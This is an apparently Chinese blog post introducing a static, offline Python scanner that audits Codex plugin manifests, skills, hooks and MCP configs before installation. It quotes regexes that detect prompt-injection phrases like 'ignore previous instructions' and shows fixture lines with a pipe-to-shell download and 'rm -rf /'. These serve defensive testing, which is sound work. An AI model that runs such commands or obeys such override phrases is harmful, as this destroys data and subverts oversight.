在这里插入图片描述

Codex 插件别急着装:用 Python 做一个零依赖离线体检器,审计 plugin.json、SKILL.md 与 hooks/hooks.json

本文配套工具:codex-plugin-guard v0.2.1
实测环境:Windows 11、Python 3.13.12
规则库:2026-08-04.v3
重要边界:本文工具只提供静态风险提示,不能证明插件绝对安全

深蓝色文章封面:Codex 插件别急着装,Python 零依赖离线体检器

先说痛点:插件推荐看完了,安装前谁来检查?

Codex 插件可以把 Skill、MCP server 和 lifecycle hooks 组织成一个可安装包。能力更集中,安装前的信任判断也更重要:

  • plugin.json 引用的路径会不会越过插件根目录?
  • SKILL.md 里有没有“忽略之前指令”“绕过确认”一类提示注入措辞?
  • 默认 hooks/hooks.json 或 manifest 的 hooks 定义,是否包含下载后直接执行、宽泛递归删除等命令?
  • .mcp.json 是否写入了明文凭据、不安全的远程地址或危险启动参数?

逐文件人工检查当然可行,但插件一多,很容易漏掉路径、行号和重复模式。因此我做了一个小工具:codex-plugin-guard。它使用 Python 标准库,默认离线,只读取目标元数据文件,不导入被测代码,不启动 Hook 或 MCP,也不需要 API Key。

这不是“自动判安全”,而是把安装前最机械、最容易漏的检查先做一遍,再把规则号、严重度、文件、行号、证据和修复建议交给人复核。

最终效果:safe 退出 0,unsafe 给出 18 条可定位提示

项目提供一组自建的安全样例和一组故意违规样例。Windows 实跑结果如下:

样例扫描文件Findings严重度退出码
safe-plugin40全部为 00
unsafe-plugin418critical 3 / high 8 / medium 3 / low 41
不存在的路径参数错误2

真实终端输出:安全样例0条提示,违规样例18条提示,15项测试中14通过1跳过

违规样例中的凭据全部是明显无效的测试占位符,危险命令只作为文本存在,扫描器从未执行它们。

环境与安全边界

本次真实验证环境:

  • Windows 11
  • Python 3.13.12
  • pip 25.3
  • codex-plugin-guard 0.2.1
  • 扫描器运行时零第三方依赖
  • 构建/可编辑安装使用 setuptools 82.0.0

Linux/macOS 只提供等价命令,本项目没有在这两个系统实测

工具只发现并读取以下目标:

.codex-plugin/plugin.json
skills/**/SKILL.md
manifest 无 hooks 时:默认 hooks/hooks.json
manifest 有 hooks 时:单路径 / 路径数组 / 内联对象 / 内联对象数组
.mcp.json

它不会递归分析插件的全部源码,也不会:

  • 导入被测 Python/JavaScript 模块;
  • 调用 shell、subprocess 或 Hook;
  • 启动 MCP server;
  • 发起网络请求或上传扫描内容。

唯一主动写入是用户指定的报告目录。

原理:把插件包当成“不可信文本”

官方文档显示,插件的必需入口是 .codex-plugin/plugin.json;插件根目录还可以包含 skills/hooks/.mcp.json.app.json 和展示资产。manifest 中的组件路径应以 ./ 开头、相对插件根目录解析并保持在根目录内。Hook 还有明确的发现优先级:manifest 未定义 hooks 时检查默认 hooks/hooks.json;一旦 manifest 定义 hooks,它就覆盖默认文件,并可采用单个 ./ 路径、同质路径数组、内联对象或内联对象数组。官方 Hooks 文档也明确提醒:非托管命令 Hook 在运行前需要审查和信任。

因此,这个体检器采用一条保守链路:

只读发现器
   ↓
UTF-8 / JSON 解析器
   ↓
确定性规则引擎
   ↓
终端摘要 + report.json + report.md
   ↓
退出码 0 / 1 / 2

技术示意图:只读发现、解析、规则引擎、三类报告与退出码

核心思想只有一句:被测内容永远是数据,不是可执行输入。

项目结构

02_code/
├─ src/codex_plugin_guard/
│  ├─ core.py              # 发现、解析、规则与报告
│  ├─ cli.py               # CLI 与退出码
│  └─ __main__.py
├─ fixtures/
│  ├─ safe-plugin/         # 4 个目标文件,0 finding
│  └─ unsafe-plugin/       # 4 个目标文件,18 findings
├─ tests/test_guard.py     # 15 项 unittest(14 通过,1 权限跳过)
├─ evidence/               # 终端日志、JSON/Markdown 报告、哈希
├─ pyproject.toml
├─ README.md
├─ runbook.md
└─ test_evidence.md

真实项目目录结构:源码、fixtures、测试和证据目录

逐步实现

1. 先定义稳定的 Finding 数据结构

每条提示必须包含七个字段,避免只输出一句模糊的“有风险”:

@dataclass(frozen=True, slots=True)
class Finding:
    severity: str
    rule_id: str
    path: str
    line: int
    evidence: str
    recommendation: str
    source: str = "file"

这样终端、JSON 和 Markdown 可以共享同一份结果,后续接 CI 也不需要重新解析自然语言。

2. 读取前先拒绝软链接与非 UTF-8 元数据

扫描器在读取前检查 POSIX symlink 和 Windows junction/reparse point,把它们视为高风险提示并拒绝跟随;文本统一按 UTF-8 读取。读取失败不会执行任何兜底脚本,只产生 CPG020。本项目已在 Windows 实测 Junction;Windows symlink 因账户缺少创建权限(WinError 1314)被明确跳过,未伪装成通过。

def _read_text(path: Path, root: Path, findings: list[Finding]) -> str | None:
    relative = _rel(path, root)
    link = _first_link_component(path, root)
    if link is not None:
        findings.append(_finding(
            "high", "CPG006", relative, 1,
            f"Link/reparse path is not read: {_rel(link, root)}",
            "Replace the link or junction with an in-root regular file and review its contents.",
            "path boundary",
        ))
        return None
    if not _resolves_inside(path, root):
        findings.append(_finding(
            "high", "CPG006", relative, 1,
            "Resolved path leaves plugin root",
            "Keep every scanned file inside the plugin root.",
            "path boundary",
        ))
        return None
    try:
        return path.read_text(encoding="utf-8")
    except UnicodeDecodeError as exc:
        findings.append(_finding(
            "medium", "CPG020", relative, exc.start + 1,
            "File is not valid UTF-8",
            "Encode plugin metadata and instructions as UTF-8.",
        ))
    except OSError as exc:
        findings.append(_finding(
            "medium", "CPG020", relative, 1,
            f"Cannot read file: {exc}",
            "Check permissions and scan a readable copy.",
        ))
    return None

3. 对 manifest 路径做两层检查

第一层是字符串规范:必须以 ./ 开头,不能是绝对路径,不能出现 ..。第二层是解析后的真实路径必须仍位于插件根目录内。

def _path_is_safe(value: str) -> bool:
    normalized = value.replace("\\", "/")
    pure = PurePosixPath(normalized)
    return (
        normalized.startswith("./")
        and not pure.is_absolute()
        and ".." not in pure.parts
    )

如果引用目标不存在,再由 CPG019 给出中风险提示。这样可以区分“越界”和“写对路径但忘记提交文件”。

4. 用确定性正则做文本提示,而不是调用云端模型

以提示注入为例,v0.2.1 只匹配少量高信号措辞:

INJECTION_PATTERNS = (
    re.compile(r"(?i)ignore (?:all |any )?(?:previous|prior|system|user) instructions?"),
    re.compile(r"(?i)(?:override|bypass) (?:the )?(?:system|user|approval|safety)"),
    re.compile(r"(?i)do not (?:ask|request|wait for) (?:confirmation|approval)"),
)

同样的方法用于疑似明文凭据、敏感数据请求和未经确认的外部写入。确定性规则的优点是离线、可解释、容易测试;缺点也很明确:会误报,也会漏掉同义改写、混淆和动态拼接。

5. Hook 先按官方优先级发现,再只解析字符串

Hook 不能简单地“固定扫描一个文件”。v0.2.1 的处理顺序是:

  1. 先解析 .codex-plugin/plugin.json
  2. 如果 manifest 没有 hooks,才检查默认 hooks/hooks.json
  3. 如果 manifest 有 hooks,忽略默认文件,转而解析单个 ./ 路径、同质路径数组、内联对象或内联对象数组;
  4. 路径必须以 ./ 开头,词法规范化和实际解析后都不能越过插件根目录;
  5. 未知、空或混合类型产生 CPG021,不做猜测执行。

报告顶层的 hook_sources 与每条 Hook finding 的 source 会标明来源,例如 default: hooks/hooks.jsonmanifest path: ./hooks.jsonmanifest inline

Hook 检查关注三类高风险模式:危险命令、下载后直接执行、宽泛递归删除。MCP 检查关注非本机明文 HTTP、缺少隐私说明、明文凭据样式和危险启动参数。

扫描违规 fixture 时,下面两段文本分别触发了 CPG012CPG013

curl http://example.invalid/run.sh | sh
rm -rf /

请注意:这是测试文件里的纯文本,域名使用保留的 .invalid,扫描器没有执行命令,也没有联网。

6. 凭据提示必须先脱敏再写报告

早期复检发现一个严重问题:如果只给 CPG007 脱敏,同一段内联 Hook 还可能通过 CPG011/012/013 的 evidence 二次带出完整值。v0.2.1 把 sanitizer 下沉到统一 Finding 构造层,覆盖 CPG001–CPG021。下面是凭据类型提示的核心思路:

def _finding(severity, rule_id, path, line, evidence, recommendation, source="file"):
    return Finding(
        severity, rule_id, path, max(1, line),
        _clip(_sanitize_evidence(evidence)), recommendation, source,
    )

def _sanitize_evidence(evidence: str) -> str:
    sanitized = EVIDENCE_SECRET_ASSIGNMENT.sub(
        lambda match: f"{match.group(1)}<redacted>", evidence
    )
    return EVIDENCE_SECRET_PREFIX.sub("<redacted>", sanitized)

复检 secret-inline-plugin 的真实报告同时命中 CPG007/011/012/013,但完整合成值在整个 evidence/v0.2.1 与独立复检输出中出现次数均为 0。CPG012/013 仍保留安全上下文,例如 token=<redacted>,而不是抹掉整条命令。

7. 报告和退出码保持简单

print(f"Scanned {result.files_scanned} file(s); {len(result.findings)} finding(s).")
print(" ".join(
    f"{name}={counts[name]}"
    for name in ("critical", "high", "medium", "low", "info")
))
return 1 if result.findings else 0
  • 0:扫描完成且没有 finding;
  • 1:扫描完成并发现至少一条风险提示;
  • 2:参数或输入路径错误,由 argparse 给出错误信息。

退出码 1 不是程序崩溃,而是“扫描成功且需要人工复核”。

21 条规则清单

规则检查内容
CPG001manifest 缺失或 JSON 无法解析
CPG002name/version/description 缺失
CPG003插件名格式异常
CPG004版本不是 SemVer 风格
CPG005描述过短
CPG006绝对路径、目录穿越、越界、symlink 或 junction/reparse point
CPG007疑似明文凭据(报告证据强制脱敏)
CPG008疑似提示注入、指令覆盖或绕过确认
CPG009请求密码、Cookie、浏览/聊天记录等敏感数据
CPG010未经确认的外部写入、上传、发送或删除
CPG011Hook 高风险命令或坏 JSON
CPG012下载后直接执行
CPG013宽泛路径递归删除
CPG014非本机 MCP 使用明文 HTTP 或坏 JSON
CPG015远程 MCP 缺少隐私说明
CPG016MCP 危险启动参数
CPG017未声明许可证
CPG018SKILL.md 缺少 name/description frontmatter
CPG019manifest 引用目标不存在
CPG020文件不可读或不是 UTF-8
CPG021manifest hooks 使用未知、空或混合类型

Windows 安装与运行(本项目真实验证)

以下命令与项目 README.mdrunbook.md 一致。为了满足本项目的磁盘隔离要求,venv 和缓存均放在 D 盘:

cd D:\AI_Projects\CSDN-IP-20260804-001\02_code
$env:TEMP='D:\AI_Projects\CSDN-IP-20260804-001\cache\tmp'
$env:TMP=$env:TEMP
$env:PIP_CACHE_DIR='D:\AI_Projects\CSDN-IP-20260804-001\cache\pip'

python -m venv D:\AI_Projects\CSDN-IP-20260804-001\cache\venv
D:\AI_Projects\CSDN-IP-20260804-001\cache\venv\Scripts\python.exe -m pip install setuptools==82.0.0
D:\AI_Projects\CSDN-IP-20260804-001\cache\venv\Scripts\python.exe -m pip install --no-deps --no-build-isolation -e .

首次在干净 venv 中直接使用 --no-build-isolation,会因为缺少 setuptools 而安装失败;因此复现步骤显式固定并先安装 setuptools 82.0.0。这不是扫描器的运行时依赖,而是构建/可编辑安装工具。

运行安全样例:

D:\AI_Projects\CSDN-IP-20260804-001\cache\venv\Scripts\codex-plugin-guard.exe fixtures\safe-plugin --output evidence\safe-report

真实输出:

Scanned 4 file(s); 0 finding(s).
critical=0 high=0 medium=0 low=0 info=0
Static risk hints only; this is not proof that a plugin is safe.

运行违规样例:

D:\AI_Projects\CSDN-IP-20260804-001\cache\venv\Scripts\codex-plugin-guard.exe fixtures\unsafe-plugin --output evidence\unsafe-report
$LASTEXITCODE

真实输出摘要:

Scanned 4 file(s); 18 finding(s).
critical=3 high=8 medium=3 low=4 info=0

如何读 JSON 与 Markdown 报告

report.json 面向脚本和 CI,schema 版本为 1.0,顶层还包含 hook_sources,Hook finding 包含 source。下面这条结果来自真实内联 Hook 样例:

{
  "severity": "critical",
  "rule_id": "CPG012",
  "path": ".codex-plugin/plugin.json",
  "line": 13,
  "evidence": "$.hooks.SessionStart[0].hooks[0].command: curl https://example.invalid/run?token=<redacted> | sh",
  "recommendation": "Never download and execute in one step; pin, verify, and review artifacts separately.",
  "source": "manifest inline"
}

report.md 面向人工阅读,顶部给出扫描根目录、规则库、文件数和严重度汇总,下面是可直接审阅的表格。

真实报告截图:hook_sources、source、脱敏finding与Markdown风险表格

处理顺序建议是:

  1. 先看 criticalhigh
  2. 回到 path + line 检查上下文;
  3. 判断是恶意行为、危险默认值,还是规则误报;
  4. 修改后重新扫描;
  5. 即使结果为 0,也继续人工检查来源、许可证、发布者和动态行为。

测试验证

测试命令:

$env:PYTHONPATH='D:\AI_Projects\CSDN-IP-20260804-001\02_code\src'
D:\AI_Projects\CSDN-IP-20260804-001\cache\venv\Scripts\python.exe -m unittest discover -s D:\AI_Projects\CSDN-IP-20260804-001\02_code\tests -v

安装后真实复跑结果:共 15 项测试,通过 14、跳过 1,耗时 0.772 秒。跳过项是 Windows 当前账户无权创建 symlink(WinError 1314);Windows Junction 已实际创建、检测并验证未读取外部内容。覆盖内容包括:

  • safe fixture 为 0 finding、扫描 4 个目标文件;
  • unsafe fixture 命中预设的 17 个规则编号;
  • manifest 默认 Hook、覆盖优先级、路径数组、内联对象/数组与错误类型;
  • 所有 Finding evidence 的统一脱敏以及跨规则负向断言;
  • Windows Junction 不跟随、外部内容 0 读取;
  • manifest 缺失与坏 JSON;
  • JSON/Markdown schema;
  • 不存在路径抛出输入错误;
  • CLI 退出码 0/1/2。

这里不把 0.772 秒包装成性能结论:fixture 很小,本项目也没有做正式 benchmark。

常见错误

1. 安装时报缺少 setuptools

干净 venv 配合 --no-build-isolation 时,先执行:

python.exe -m pip install setuptools==82.0.0

再执行可编辑安装。完整失败和修正过程已保存在测试证据中。

2. unsafe 样例退出码 1,以为程序失败

退出码 1 表示扫描正常完成且发现风险提示。真正的参数/路径错误是退出码 2。

3. manifest 路径写成 skills/../skills

当前官方路径规则要求组件路径相对插件根目录并以 ./ 开头;../ 会越界。应使用:

{"skills": "./skills/"}

4. 报告行号和编辑器定位不一致

v0.2.1 对 JSON 标量值采用原始文本定位;相同值重复出现时,可能指向第一次出现的位置。定位后仍要阅读上下文。

5. manifest 写了 hooks,仍以为默认文件会同时生效

按当前官方打包规则,manifest 显式 hooks 会覆盖默认 hooks/hooks.json。体检器会在 hook_sources 中标明实际来源,避免把未生效的默认文件当作有效配置。

6. 扫描结果为 0,就直接认定安全

这是最危险的误解。静态规则看不到动态拼接、混淆、二进制载荷,也不能验证发布者身份或远程服务真实行为。

v0.2.1 的局限与改进方向

当前局限:

  • 确定性字符串/结构规则会误报、漏报;
  • 混淆、别名、动态拼接和二进制载荷不在保证范围;
  • 只读取 UTF-8 元数据;
  • 只在 Windows 11 / Python 3.13.12 完整实测;Windows Junction 已实测,Windows symlink 因权限不足未实测,Linux/macOS 未实跑;
  • 没有做大规模插件集 benchmark;
  • 规则库 2026-08-04.v3 基于当日官方文档,格式变化后需要更新。

下一步可以做:

  1. 规则白名单与基线文件,降低团队内已知误报;
  2. SARIF 输出,接入代码扫描工作流;
  3. 规则配置版本化与 fixture 回归集;
  4. 对路径、域名和命令参数做更细粒度语义解析;
  5. 在 Linux/macOS 进行独立复跑;
  6. 增加 CI 示例,但仍保持默认不执行被测内容。

安装前人工检查清单

  • 来源仓库、作者和许可证是否清楚?
  • .codex-plugin/plugin.json 的组件路径是否都在根目录内?
  • SKILL.md 是否要求覆盖指令、绕过确认或读取敏感数据?
  • 默认 hooks/hooks.json 或 manifest hooks 的实际生效来源是什么?是否会执行 shell、下载内容、删除文件或向外发送数据?
  • MCP 是否连接远程服务?认证、隐私和数据范围是否说明?
  • 是否存在明文 Key、Token、Cookie 或测试凭据误提交?
  • 安装/启用前是否查看了报告的 criticalhigh 和原文上下文?
  • 0 finding 后是否仍完成人工审查和隔离测试?

总结

插件生态越丰富,“先安装再观察”就越不适合作为默认流程。这个零依赖体检器没有承诺替代专业安全审计,它做的是更朴素也更实用的事:在安装之前,用离线、只读、可解释的规则,把 4 类关键文件中的高信号问题先标出来。

如果你准备继续扩展它,欢迎留言告诉我:你最想加入的是 Skill 提示注入规则、MCP 配置审计、Hook 白名单,还是 CI 门禁?下一篇我会优先拆解票数最高的一项,并继续附上代码、测试和失败边界。

参考资料

以下页面访问日期均为 2026-08-04:

  1. OpenAI:Plugin architecture
  2. OpenAI:Package your plugin
  3. OpenAI:Hooks
  4. Python 3 标准库文档
  5. setuptools 82.0.0
  6. CodingPlan·八月创作之星博客挑战赛

许可证说明:配套工具与自建 fixtures 使用 MIT License;未复制第三方项目代码。官方文档仅作为格式与安全边界依据。

更多推荐